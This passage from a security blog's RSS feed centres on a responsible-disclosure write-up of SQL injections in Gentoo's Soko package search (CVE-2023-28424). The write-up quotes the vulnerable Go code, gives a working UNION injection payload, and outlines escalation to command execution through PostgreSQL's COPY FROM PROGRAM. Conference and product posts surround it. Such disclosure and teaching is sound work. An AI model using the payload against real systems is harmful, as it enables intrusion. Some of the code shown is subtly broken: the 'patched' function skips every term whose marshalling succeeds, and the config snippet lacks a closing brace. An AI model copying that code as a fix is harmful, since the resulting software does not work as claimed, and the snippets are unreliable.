fun watching&lt;em&gt; &lt;a href=&quot;https://typhooncon.com/blog/conitems/scoreboard-hacking/&quot;&gt;When Athletic Abilities Just Aren’t Enough – Scoreboard Hacking&lt;/a&gt;&lt;/em&gt; by Maxwell Dulin. A very original presentation where Maxwell shows how he could remotely hack a sports scoreboard to change the score, or silently slow down or speed up time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These presentations gave us important information on the current trends in the industry and will help to improve &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;the security pillar of our Clean Code solution&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/41bde1f8-9e72-4398-b0d0-b51292daf2fa/typhoon-3.jpg&quot; /&gt;&lt;h2&gt;&amp;quot;Patches, collisions and root shells: a Pwn2Own Adventure&amp;quot;&lt;/h2&gt;&lt;p&gt;We got to present our talk &lt;a href=&quot;https://typhooncon.com/blog/conitems/a-pwn2own-adventure/&quot;&gt;&lt;em&gt;Patches, collisions and root shells: a Pwn2Own Adventure&lt;/em&gt;&lt;/a&gt;, showcasing the research that we did for &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-pwn2own-toronto-2022/&quot;&gt;Pwn2Own Toronto&lt;/a&gt;. We first came back on how we collaborated together and then on the details of the 4 vulnerabilities that we found, with a live demonstration of one of our exploits on the Synology router. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ea8eeafc-874c-44f7-a0b3-449b52d0c689/typhoon-4.png&quot; /&gt;&lt;p&gt;To prepare for the talk, we also wanted to look into what vulnerabilities we missed and what the others had. This event happened six months ago so many researchers already published their work, and there&amp;#x27;s a lot to learn from. We published our list on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Pwn2Own#Toronto_(December_6%E2%80%939)&quot;&gt;Wikipedia page of the event&lt;/a&gt;, and we encourage all participants to contribute to it! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you weren&amp;#x27;t at the conference, stay tuned on August 8, 2023 to read our blog post on all the technical details behind these vulnerabilities.&lt;/p&gt;&lt;h2&gt;What&amp;#x27;s next?&lt;/h2&gt;&lt;p&gt;We sure had a great time at TyphoonCon: kudos to the organizers for the great care brought to the event, and everybody else for the presentations and interesting discussions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our next big security talk will be at DEF CON 31, in Las Vegas on August 10-13, where we&amp;#x27;ll present &lt;a href=&quot;https://forum.defcon.org/node/245747&quot;&gt;&lt;em&gt;Visual Studio Code is why I have (Workspace) Trust issues&lt;/em&gt;&lt;/a&gt;. We hope to see you around!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reflections-from-offensivecon-2023/&quot;&gt;Reflections from OffensiveCon 2023&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonar-at-jsnation-2023-in-amsterdam/&quot;&gt;Sonar at JSNation 2023 in Amsterdam&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Why ORMs and Prepared Statements Can't (Always) Win]]></title><description><![CDATA[We always assume prepared statements and ORMs are enough to protect us from SQL injection, but be careful not to misuse their APIs! Let's look into a real-world case and see what we can learn from it.]]></description><link>https://www.sonarsource.com/blog/why-orms-and-prepared-statements-cant-always-win</link><guid isPermaLink="false">d053b8c6-4394-58db-b48f-5db2d5d494d7</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 26 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;The &lt;a href=&quot;https://twitter.com/sonar_research&quot;&gt;Sonar Research&lt;/a&gt; team discovered several SQL injection vulnerabilities in Soko, a software deployed on the Gentoo Linux infrastructure.&lt;/li&gt;&lt;li&gt;These SQL injections happened despite the use of an Object-Relational Mapping (ORM) library and prepared statements.&lt;/li&gt;&lt;li&gt;We demonstrated that these code vulnerabilities lead to Remote Code Execution (RCE) on Soko because of a misconfiguration of the database.&lt;/li&gt;&lt;li&gt;Thanks to the isolation of Soko software components from other services and how the Portage package manager works, users of Gentoo Linux were not at risk of supply-chain attacks. &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;We were told to use ORMs and prepared statements to avoid SQL injections for a long time now. By doing so, we effectively separate instructions (the semantics of the SQL query) from the data. Modern languages and frameworks often also abstract away the need to write raw queries, offering high-level interfaces around our database models. Unfortunately, that&amp;#x27;s not enough to thwart away SQL injections once and for all, as these APIs can still present subtle bugs or nuances in their design. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we show you how the misuse of a Golang ORM API introduced several SQL injections in Soko, a service deployed on the Gentoo Linux infrastructure. Then, we look further into assessing the impact of this vulnerability by using a PostgreSQL feature to execute arbitrary commands on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These vulnerabilities, tracked as CVE-2023-28424, were discovered and reproduced in a testing environment. They were later responsibly disclosed to Gentoo Linux maintainers, who deployed fixes within 24 hours. Because this service only displays information about existing Portage packages, it was not possible to perform a supply chain attack and users of Gentoo Linux were never at risk. While the server hosts several services, affected components are isolated in Docker containers, and the risk of lateral movement from attackers is limited. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nonetheless, there are some key learnings from these vulnerabilities that we would like to share in this blog post. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you run Soko on your infrastructure, you should upgrade it to Soko 1.0.3 or above. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;h3&gt;What&amp;#x27;s Soko?&lt;/h3&gt;&lt;p&gt;Soko is the Go software behind &lt;a href=&quot;https://packages.gentoo.org/&quot;&gt;https://packages.gentoo.org/&lt;/a&gt;, a public interface showing information about published Portage packages that you can install on Gentoo Linux. Portage is the go-to package management tool for this distribution and takes care of resolving and building all required dependencies.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Soko offers a very convenient way to search through all of these packages and easily get information like the associated bug tracker or where the upstream source is. Again, packages are not downloaded from Soko but directly from upstream.&lt;/p&gt;&lt;h3&gt;The Search Feature&lt;/h3&gt;&lt;p&gt;Soko is built to let users search through packages–that&amp;#x27;s its sole job and means that the code of this feature is the most interesting to review with our security hat on. Indeed, it has to assemble a SQL query based on many parameters that may or may not be part of the request. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ORMs have query builders that introduce a very welcome abstraction layer so developers don&amp;#x27;t have to hand-write SQL queries; Soko&amp;#x27;s use of &lt;a href=&quot;https://github.com/go-pg/pg&quot;&gt;&lt;code&gt;go-pg&lt;/code&gt;&lt;/a&gt; makes it very expressive and easy to follow.&lt;/p&gt;&lt;p&gt;  &lt;/p&gt;&lt;p&gt;For instance, if you want to select a record of a given database model whose &lt;code&gt;title&lt;/code&gt; is prefixed with &lt;code&gt;my&lt;/code&gt; using &lt;code&gt;go-pg&lt;/code&gt;, this is what you would write (example taken from &lt;a href=&quot;https://pg.uptrace.dev/queries/&quot;&gt;their documentation&lt;/a&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;err := db.Model(book).
    Where(&quot;id &gt; ?&quot;, 100).
    Where(&quot;title LIKE ?&quot;, &quot;my%&quot;).
    Limit(1).
    Select()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Notice the presence of query placeholders–the question marks–in the &lt;code&gt;Where()&lt;/code&gt; clauses. They are replaced with the associated parameters at runtime after escaping them for the right context. Indeed, a string and a column name are specified differently in SQL, and the ORM must escape them accordingly. That also means that the first parameter should always be a constant string: otherwise, that means that we&amp;#x27;re probably circumventing the escaping feature and could introduce SQL injections.&lt;/p&gt;&lt;h3&gt;Finding (Un)prepared Statements&lt;/h3&gt;&lt;p&gt;Diving into the implementation of the search feature, we can notice code like this snippet:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;searchTerm := getParameterValue(&quot;q&quot;, r)
searchTerm = strings.ReplaceAll(searchTerm, &quot;*&quot;, &quot;&quot;)
searchQuery := BuildSearchQuery(searchTerm)

var packages []models.Package
err := database.DBCon.Model(&amp;packages).
Where(searchQuery).
Relation(&quot;Versions&quot;).
	OrderExpr(&quot;name &lt;-&gt; &apos;&quot; + searchTerm + &quot;&apos;&quot;).
	Select()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pkg/app/handler/packages/search.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;A first thing that should jump to your eyes is the parameter &lt;code&gt;searchTerm&lt;/code&gt;, coming from the user&amp;#x27;s request, being concatenated to the first parameter of the &lt;code&gt;OrderExpr()&lt;/code&gt; call. It goes in contradiction with how one should safely use this API. There&amp;#x27;s probably room for a SQL injection in here! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s look at the implementation of the method &lt;code&gt;BuildSearchQuery()&lt;/code&gt;, also using &lt;code&gt;searchTerm&lt;/code&gt; as a parameter and passed as the first argument of  &lt;code&gt;Where()&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func BuildSearchQuery(searchString string) string {
	var searchClauses []string
	for _, searchTerm := range strings.Split(searchString, &quot; &quot;) {
		if searchTerm != &quot;&quot; {
			searchClauses = append(searchClauses,
				&quot;( (category % &apos;&quot;+searchTerm+&quot;&apos;) OR (name % &apos;&quot;+searchTerm+&quot;&apos;) OR (atom % &apos;&quot;+searchTerm+&quot;&apos;) OR (maintainers @&gt; &apos;[{\&quot;Name\&quot;: \&quot;&quot;+searchTerm+&quot;\&quot;}]&apos; OR maintainers @&gt; &apos;[{\&quot;Email\&quot;: \&quot;&quot;+searchTerm+&quot;\&quot;}]&apos;))&quot;)
		}
	}
	return strings.Join(searchClauses, &quot; AND &quot;)
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pkg/app/handler/packages/search.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;We can see that &lt;code&gt;searchTerm&lt;/code&gt; is again directly interpolated in the query. When passed as a parameter to &lt;code&gt;Where()&lt;/code&gt;, it won&amp;#x27;t be able to escape its value; it&amp;#x27;s already in the query. As a result, this function has several SQL injections: one for every use of &lt;code&gt;searchTerm&lt;/code&gt;! &lt;/p&gt;&lt;h3&gt;And its GraphQL Sibling? &lt;/h3&gt;&lt;p&gt;Users can also do searches through the GraphQL API to ease integration with external systems and scripts. While most of the code around database models is often automatically generated, features like this require custom code–they are called resolvers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GraphQL frameworks have this notion of resolvers that can back types fields: they come in handy when fetching data from a third-party API or running a complex database query. This is very likely that a similar vulnerability would also be present in this code; let&amp;#x27;s look into it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GraphQL resolvers are implemented in &lt;code&gt;pkg/api/graphql/resolvers/resolver.go&lt;/code&gt;. In &lt;code&gt;PackageSearch&lt;/code&gt;, &lt;code&gt;searchTerm&lt;/code&gt; and &lt;code&gt;resultSize&lt;/code&gt; come from the GraphQL query parameters. The parameter &lt;code&gt;searchTerm&lt;/code&gt; is also unsafely interpolated in an &lt;code&gt;OrderExpr()&lt;/code&gt; clause, introducing another SQL injection:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func (r *queryResolver) PackageSearch(ctx context.Context, searchTerm *string, resultSize *int) ([]*models.Package, error) {
// [...]	
	if strings.Contains(*searchTerm, &quot;*&quot;) {
		// if the query contains wildcards
		wildcardSearchTerm := strings.ReplaceAll(*searchTerm, &quot;*&quot;, &quot;%&quot;)
		err = database.DBCon.Model(&amp;gpackages).
			WhereOr(&quot;atom LIKE ? &quot;, wildcardSearchTerm).
			WhereOr(&quot;name LIKE ? &quot;, wildcardSearchTerm).
Relation(&quot;PkgCheckResults&quot;).[...].Relation(&quot;Outdated&quot;).
			OrderExpr(&quot;name &lt;-&gt; &apos;&quot; + *searchTerm + &quot;&apos;&quot;).
			Limit(limit).
			Select()
	}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;pkg/api/graphql/resolvers/resolver.go&lt;/em&gt;&lt;/p&gt;&lt;p&gt;A similar SQL injection is present in the same method when performing a fuzzy search–we omitted it above for brevity. Check your GraphQL resolvers! &lt;/p&gt;&lt;h3&gt;An Effective SQL Injection&lt;/h3&gt;&lt;p&gt;With these potential injections in mind, we can check whether they are exploitable. To first give you some context, the following query is executed when searching for the package &lt;code&gt;foo&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT
    &quot;package&quot;.&quot;atom&quot;,
    &quot;package&quot;.&quot;category&quot;,
    &quot;package&quot;.&quot;name&quot;,
    &quot;package&quot;.&quot;longdescription&quot;,
    &quot;package&quot;.&quot;maintainers&quot;,
    &quot;package&quot;.&quot;upstream&quot;,
    &quot;package&quot;.&quot;preceding_commits&quot;
FROM &quot;packages&quot; AS &quot;package&quot;
WHERE
    ((
        (category % &apos;foo&apos;) 
        OR (NAME % &apos;foo&apos;)
        OR (atom % &apos;foo&apos;)
        (
            maintainers @ &apos;[{&quot;Name&quot;: &quot;foo&quot;}]&apos;
            OR maintainers @ &apos;[{&quot;Email&quot;: &quot;foo&quot;}]&apos;
        )
    )) 
    OR (atom LIKE &apos;%foo%&apos;)
ORDER BY NAME    &lt; - &gt; &apos;foo&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once a single quote is used in the search, the semantics of the query change which leads to syntax errors. This behavior is easy to confirm with some dynamic testing; our local instance is very useful here. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By first doing a search that contains a single quote, effectively breaking the syntax of the request, we are welcomed with an error message: &lt;code&gt;Internal Server Error&lt;/code&gt;. When we try again with two single quotes, closing the current string and opening a new one so it results in a valid query, the search behaves as intended.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f9f4c28c-844d-44ff-b122-4b28d32a9530/ORMs%20-%201.png&quot; /&gt;&lt;p&gt;Here are the steps to disclose the PostgreSQL server&amp;#x27;s version by injecting SQL into the first &lt;code&gt;WHERE&lt;/code&gt; clause. Note that most occurrences of &lt;code&gt;foo&lt;/code&gt; are injectable, but it&amp;#x27;s easier to use the first one and ignore the right-most part of the query with a comment.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;First, a single quote allows breaking out of the string literal,&lt;/li&gt;&lt;li&gt;Three closing parentheses to end the &lt;code&gt;WHERE&lt;/code&gt; clause,&lt;/li&gt;&lt;li&gt;A &lt;code&gt;UNION&lt;/code&gt; clause with the same number of columns as the initial &lt;code&gt;SELECT&lt;/code&gt; statement and the right types. The PostgreSQL version is placed in the second column so it gets shown in the interface. &lt;/li&gt;&lt;li&gt;A comment (&lt;code&gt;--&lt;/code&gt;) to ignore everything else after. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The payload has to respect several constraints:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The character &lt;code&gt;*&lt;/code&gt; cannot be used, or the vulnerable code path is not executed. &lt;/li&gt;&lt;li&gt;The payload should not contain spaces, or &lt;code&gt;BuildSearchQuery()&lt;/code&gt; emits several &lt;code&gt;Where&lt;/code&gt; clauses. Spaces are not mandatory in this case, and they can be replaced by the TAB character (&lt;code&gt;%09&lt;/code&gt;).&lt;/li&gt;&lt;li&gt;We must pay special care to the column types and the format of JSONB fields to avoid raising errors in PostgreSQL and when the code processes the result of the SQL query. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We obtain something like &lt;code&gt;foo&amp;#x27;))) union all select &amp;#x27;1&amp;#x27;,version()::text,&amp;#x27;3&amp;#x27;,&amp;#x27;4&amp;#x27;,&amp;#x27;[]&amp;#x27;,&amp;#x27;{}&amp;#x27;,7--&lt;/code&gt;. The resulting query is shown below; notice that we removed everything after the comment, or it would be too long to display on this page.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT 
    &quot;package&quot;.&quot;atom&quot;,
    &quot;package&quot;.&quot;category&quot;, 
    &quot;package&quot;.&quot;name&quot;, 
    &quot;package&quot;.&quot;longdescription&quot;, 
    &quot;package&quot;.&quot;maintainers&quot;, 
    &quot;package&quot;.&quot;upstream&quot;, 
    &quot;package&quot;.&quot;preceding_commits&quot; 
FROM &quot;packages&quot; AS &quot;package&quot; 
WHERE 
(( 
		(category % &apos;foo&apos;)
	))
UNION ALL SELECT &apos;1&apos;, version()::text, &apos;3&apos;, &apos;4&apos;, &apos;[]&apos;, &apos;{}&apos;, 7 -- &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And indeed, when used in the search field, the version of the PostgreSQL server is shown, that&amp;#x27;s a success! &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/864f84ef-2fb7-4269-95a2-de40f1f21c37/ORMS%20-%202.png&quot; /&gt;&lt;h3&gt;PostgreSQL Stacked Queries&lt;/h3&gt;&lt;p&gt;PostgreSQL supports stacked queries allowing developers to submit several SQL statements by separating them with semicolons. When exploiting a SQL injection and stacking several queries, the interface only displays the results of the first query, but they will all be executed. Attackers are no longer bound to making &lt;code&gt;SELECT&lt;/code&gt; statements and can alter records from the database. As you will see in the next section, it also changes the impact of the SQL injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It only adds a new minimal constraint on the payload: the semicolon character cannot be used as-is (i.e., not URL-encoded) to avoid running into &lt;a href=&quot;https://github.com/golang/go/issues/25192&quot;&gt;a quirk of the net/url package&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;PostgreSQL&amp;#x27;s COPY FROM PROGRAM&lt;/h3&gt;&lt;p&gt;PostgreSQL also supports an operation named &lt;code&gt;COPY FROM PROGRAM&lt;/code&gt;. This &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-copy.html&quot;&gt;documented feature&lt;/a&gt; enables the execution of arbitrary commands on the system, usually with the privileges of the user &lt;code&gt;postgres&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is not a vulnerability in PostgreSQL: the &lt;code&gt;COPY&lt;/code&gt; statement is reserved for superusers. Still, attackers equipped with SQL injections are more likely to be able to pivot to another context by executing commands on the server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of Soko, this misconfiguration likely comes from the Docker containerization of their database. Because containers are often seen as a security boundary between software components, it&amp;#x27;s common to let them enjoy elevated privileges. In the official PostgreSQL image, the user set by &lt;code&gt;POSTGRES_USER&lt;/code&gt; benefits from superuser privileges:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;db:
  image: postgres:12 
  restart: always 
  environment: 
    POSTGRES_USER: ${SOKO_POSTGRES_USER:-root}
    POSTGRES_PASSWORD: ${SOKO_POSTGRES_PASSWORD:-root
    POSTGRES_DB: ${SOKO_POSTGRES_DB:-soko}
  shm_size: 512mb
  volumes: 
    - ${POSTGRES_DATA_PATH:-/var/lib/postgresql/data}:/var/lib/postgresql/data&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;docker-compose.yml&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This is a bad security practice and goes against the principle of least privilege; most users of this Docker image are likely impacted by this misconfiguration. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From here, we can demonstrate the full impact of the SQL injection by executing arbitrary commands in the context of the PostgreSQL container. For instance, running &lt;code&gt;id&lt;/code&gt; returns the current user&amp;#x27;s identity. This method was already extensively documented online and is left as an exercise for the most security-savvy readers!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8085245a-bf8b-48ea-af86-9a789e672d7a/ORMs%20-%203.png&quot; /&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;After responsibly disclosing both findings to the maintainers, Arthur Zamarin promptly addressed them by refactoring query builder calls to follow &lt;a href=&quot;https://pg.uptrace.dev/queries/&quot;&gt;the documentation&lt;/a&gt;. Because the root cause of all injections is the same, the misuse of the ORM&amp;#x27;s query builder, we will only document the most interesting change here. You can find the full patches on GitHub: &lt;a href=&quot;https://github.com/gentoo/soko/commit/428b119abfc7bc222c1762e9cde0153781c6c1ac&quot;&gt;428b119&lt;/a&gt; and &lt;a href=&quot;https://github.com/gentoo/soko/commit/4fa6e4b619c0362728955b6ec56eab0e0cbf1e23&quot;&gt;4fa6e4b&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you remember, the method &lt;code&gt;BuildSearchQuery()&lt;/code&gt; was a source of vulnerabilities, as it tried to craft a SQL query based on a parameter and returned a string. Because it didn&amp;#x27;t have access to the query builder object, it had to do it manually with string concatenations. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This situation is solved by passing the &lt;code&gt;pg.Query&lt;/code&gt; object as a parameter and by using its method &lt;code&gt;WhereOr()&lt;/code&gt; to build the query. Notice that its first parameter is always a constant string with a query placeholder, so &lt;code&gt;searchTerm&lt;/code&gt; gets correctly escaped every time: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;-func BuildSearchQuery(searchString string) string {
-	var searchClauses []string
+func BuildSearchQuery(query *pg.Query, searchString string) *pg.Query {
 	for _, searchTerm := range strings.Split(searchString, &quot; &quot;) {
 		if searchTerm != &quot;&quot; {
-			searchClauses = append(searchClauses,
-				&quot;( (category % &apos;&quot;+searchTerm+&quot;&apos;) OR (name % &apos;&quot;+searchTerm+&quot;&apos;) OR (atom % &apos;&quot;+searchTerm+&quot;&apos;) OR (maintainers @&gt; &apos;[{\&quot;Name\&quot;: \&quot;&quot;+searchTerm+&quot;\&quot;}]&apos; OR maintainers @&gt; &apos;[{\&quot;Email\&quot;: \&quot;&quot;+searchTerm+&quot;\&quot;}]&apos;))&quot;)
+			marshal, err := json.Marshal(searchTerm)
+			if err == nil {
+				continue
+			}
+			query = query.WhereGroup(func(q *pg.Query) (*pg.Query, error) {
+				return q.WhereOr(&quot;category % ?&quot;, searchTerm).
+					WhereOr(&quot;name % ?&quot;, searchTerm).
+					WhereOr(&quot;atom % ?&quot;, searchTerm).
+					WhereOr(&quot;maintainers @&gt; ?&quot;, `[{&quot;Name&quot;: &quot;`+string(marshal)+`&quot;}]`).
+					WhereOr(&quot;maintainers @&gt; ?&quot;, `[{&quot;Email&quot;: &quot;`+string(marshal)+`&quot;}]`), nil
+			})
 		}
 	}
-	return strings.Join(searchClauses, &quot; AND &quot;)
+	return query
 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-17&lt;/td&gt;&lt;td&gt;We report all issues to the Soko maintainer and security contacts at Gentoo. A patch is submitted on the same day.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-19&lt;/td&gt;&lt;td&gt;The GitHub Security Advisories are published (&lt;a href=&quot;https://github.com/gentoo/soko/security/advisories/GHSA-45jr-w89p-c843&quot;&gt;GHSA-45jr-w89p-c843&lt;/a&gt;, &lt;a href=&quot;https://github.com/gentoo/soko/security/advisories/GHSA-gc2x-86p3-mxg2&quot;&gt;GHSA-gc2x-86p3-mxg2&lt;/a&gt;) along with CVE-2023-28424.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this publication, we presented a case of how SQL injection can arise despite using a query builder and prepared statements. Conscious developers should be aware of these pitfalls and make sure to understand how ORM APIs are designed to avoid introducing similar code vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In general, a common source of vulnerabilities with ORMs happens when there is no reference to the query builder instance in the current context; such cases are usually methods made to avoid code duplication across queries. Developers are then more likely to craft parts of the query manually and introduce SQL injections. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, every ORM comes with its own take on API design, and it can be tricky to know about unsafe code patterns at first sight. This is where Go&amp;#x27;s typing could come in handy at the cost of some flexibility by introducing compile-time safeguards, forcing developers to &lt;em&gt;always&lt;/em&gt; separate instructions (the prepared statement) from data (the user&amp;#x27;s input). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is also interesting to note that containerization solutions like Docker bring an isolation layer but shouldn&amp;#x27;t be considered a security boundary. It is imperative to apply the principle of least privileges even in this context. For this reason, we developed &lt;a href=&quot;https://rules.sonarsource.com/docker/RSPEC-6471&quot;&gt;a rule in our Infrastructure as Code scanner to detect if containers are running with elevated privileges&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the Gentoo contributors Arthur Zamarin and Sam James for acknowledging our report and deploying a patch to production within 24 hours. Kudos!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarlint-supports-go-analysis/&quot;&gt;SonarLint supports Go analysis!&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/exploiting-hibernate-injections/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/nosql-injections-in-rocket-chat/&quot;&gt;NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;Securing Developer Tools: A New Supply Chain Attack on PHP&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why SonarQube 9.9 LTS is a must-have for JavaScript and TypeScript Developers]]></title><description><![CDATA[Read about the new features of SonarQube 9.9 LTS which help JavaScript and TypeScript developers to write Clean Code.]]></description><link>https://www.sonarsource.com/blog/sonarqube-99-lts-javascript-typescript-developers</link><guid isPermaLink="false">66db1963-eaa3-53c5-bc43-3d06ac6ff8b0</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Thu, 22 Jun 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The growing demand for Clean Code in the software development world is more urgent than ever. SonarQube steps in to help you meet this demand, providing a solution that enables developers to craft Clean Code suitable for both development and production environments.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS&lt;/a&gt; includes an advanced analyzer equipped with over 350 rules tailored specifically for JavaScript and TypeScript developers. These rules ensure developers write Clean Code that is both fit for development and fit for production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Join us as we explore why SonarQube 9.9 LTS is an indispensable tool for your development toolkit, particularly with its substantial improvements to JavaScript and TypeScript analysis which build upon the capabilities already delivered in SonarQube 8.9 LTS.&lt;/p&gt;&lt;h2&gt;Updates to the Analysis Engine&lt;/h2&gt;&lt;h3&gt;Supercharged Analysis Speed &lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube relies on open-source parsers to generate the information needed to perform analysis. It wasn’t always like this, however, and for a long time, we have been trying to move away from the homegrown Java-based parser we started writing many years ago.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two parsers meant that on each analysis, code was sometimes being parsed &lt;strong&gt;twice&lt;/strong&gt;. With SonarQube 9.9 LTS there&amp;#x27;s no more waiting for Java parsers to do the job – now that just the single parser is running, this update is all about getting you the results, fast!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This performance improvement is further enhanced for commercial SonarQube users through the introduction of incremental analysis for pull requests. This feature focuses on analyzing only the changes introduced in a pull request instead of the entire codebase. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our tests, this leads to an average 40% performance improvement for JavaScript/TypeScript PRs, with an up to 80% improvement on large projects. You can learn more about this in the &lt;a 